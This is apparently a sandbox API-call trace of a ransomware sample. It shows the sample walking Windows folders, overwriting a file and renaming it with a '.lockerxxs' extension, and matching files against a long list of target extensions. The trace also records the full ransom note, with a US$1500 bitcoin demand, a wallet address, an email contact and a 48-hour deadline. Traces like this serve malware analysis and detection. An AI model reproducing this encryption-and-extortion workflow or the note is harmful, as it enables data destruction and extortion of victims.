(lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOSV.DLL") returned -1 [0059.706] lstrcmpiA (lpString1="", lpString2="MSOSV.DLL") returned -1 [0059.706] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*") returned="*.*" [0059.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" [0059.706] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\") returned="" [0059.707] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.708] CloseHandle (hObject=0x8c) returned 1 [0059.708] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0059.708] FindClose (in: hFindFile=0x4f81a0 | out: hFindFile=0x4f81a0) returned 1 [0059.708] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0059.708] lstrcmpA (lpString1=".", lpString2="Web Server Extensions") returned -1 [0059.708] lstrcmpA (lpString1="..", lpString2="Web Server Extensions") returned -1 [0059.708] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.708] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84b8, cFileName=".", cAlternateFileName="")) returned 0x4f81b8 [0059.709] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.709] FindNextFileA (in: hFindFile=0x4f81b8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.709] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.709] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.709] FindNextFileA (in: hFindFile=0x4f81b8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0059.709] lstrcmpA (lpString1=".", lpString2="14") returned -1 [0059.709] lstrcmpA (lpString1="..", lpString2="14") returned -1 [0059.709] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*") returned="*.*" [0059.709] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81f8 [0059.710] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.710] FindNextFileA (in: hFindFile=0x4f81f8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.710] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.710] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.710] FindNextFileA (in: hFindFile=0x4f81f8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0059.710] lstrcmpA (lpString1=".", lpString2="BIN") returned -1 [0059.710] lstrcmpA (lpString1="..", lpString2="BIN") returned -1 [0059.710] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*") returned="*.*" [0059.710] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.711] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.711] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.711] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.711] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.711] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.711] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0059.711] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0059.711] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*") returned="*.*" [0059.711] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc4f0, dwReserved1=0x4fc4eb, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0059.711] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.711] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.711] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.711] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.711] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0059.711] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0059.711] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPEXT.MSG") returned -1 [0059.711] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPEXT.MSG") returned 1 [0059.712] lstrcmpiA (lpString1="", lpString2="FPEXT.MSG") returned -1 [0059.712] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*") returned="*.*" [0059.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" [0059.712] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\") returned="" [0059.713] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.713] CloseHandle (hObject=0x98) returned 1 [0059.718] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned="FPEXT.MSG" [0059.719] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0059.719] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2967f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2967f, lpOverlapped=0x0) returned 1 [0059.720] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.720] CloseHandle (hObject=0x98) returned 1 [0059.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.lockerxxs")) returned 1 [0059.722] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0059.722] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0059.722] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x4f8238, dwReserved1=0x3, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0059.722] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPSRVUTL.DLL") returned -1 [0059.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPSRVUTL.DLL") returned 1 [0059.723] lstrcmpiA (lpString1="", lpString2="FPSRVUTL.DLL") returned -1 [0059.723] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*") returned="*.*" [0059.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" [0059.723] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="" [0059.723] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt" [0059.723] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\how to decrypt files.txt")) returned 0xffffffff [0059.723] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0059.723] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0059.723] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0059.725] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.725] CloseHandle (hObject=0x94) returned 1 [0059.725] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="FPSRVUTL.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" [0059.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.ems") returned 0 [0059.725] lstrlenA (lpString="*.ems") returned 5 [0059.725] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.db") returned 0 [0059.725] lstrlenA (lpString="*.db") returned 4 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.dbf") returned 0 [0059.726] lstrlenA (lpString="*.dbf") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.myox") returned 0 [0059.726] lstrlenA (lpString="*.myox") returned 6 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.myo") returned 0 [0059.726] lstrlenA (lpString="*.myo") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbw") returned 0 [0059.726] lstrlenA (lpString="*.qbw") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbb") returned 0 [0059.726] lstrlenA (lpString="*.qbb") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbm") returned 0 [0059.726] lstrlenA (lpString="*.qbm") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbo") returned 0 [0059.726] lstrlenA (lpString="*.qbo") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbx") returned 0 [0059.726] lstrlenA (lpString="*.qbx") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qba") returned 0 [0059.726] lstrlenA (lpString="*.qba") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qby") returned 0 [0059.726] lstrlenA (lpString="*.qby") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qbj") returned 0 [0059.726] lstrlenA (lpString="*.qbj") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.ofx") returned 0 [0059.726] lstrlenA (lpString="*.ofx") returned 5 [0059.726] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.qif") returned 0 [0059.726] lstrlenA (lpString="*.qif") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mye") returned 0 [0059.727] lstrlenA (lpString="*.mye") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mbox") returned 0 [0059.727] lstrlenA (lpString="*.mbox") returned 6 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.eml") returned 0 [0059.727] lstrlenA (lpString="*.eml") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.pst") returned 0 [0059.727] lstrlenA (lpString="*.pst") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.ost") returned 0 [0059.727] lstrlenA (lpString="*.ost") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.idx") returned 0 [0059.727] lstrlenA (lpString="*.idx") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.dbx") returned 0 [0059.727] lstrlenA (lpString="*.dbx") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.sql") returned 0 [0059.727] lstrlenA (lpString="*.sql") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mdb") returned 0 [0059.727] lstrlenA (lpString="*.mdb") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.fdb") returned 0 [0059.727] lstrlenA (lpString="*.fdb") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.wab") returned 0 [0059.727] lstrlenA (lpString="*.wab") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.dat") returned 0 [0059.727] lstrlenA (lpString="*.dat") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.txt") returned 0 [0059.727] lstrlenA (lpString="*.txt") returned 5 [0059.727] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.jpeg") returned 0 [0059.728] lstrlenA (lpString="*.jpeg") returned 6 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.jpg") returned 0 [0059.728] lstrlenA (lpString="*.jpg") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.png") returned 0 [0059.728] lstrlenA (lpString="*.png") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.php") returned 0 [0059.728] lstrlenA (lpString="*.php") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.cs") returned 0 [0059.728] lstrlenA (lpString="*.cs") returned 4 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.cpp") returned 0 [0059.728] lstrlenA (lpString="*.cpp") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.rar") returned 0 [0059.728] lstrlenA (lpString="*.rar") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.zip") returned 0 [0059.728] lstrlenA (lpString="*.zip") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.html") returned 0 [0059.728] lstrlenA (lpString="*.html") returned 6 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.htm") returned 0 [0059.728] lstrlenA (lpString="*.htm") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server 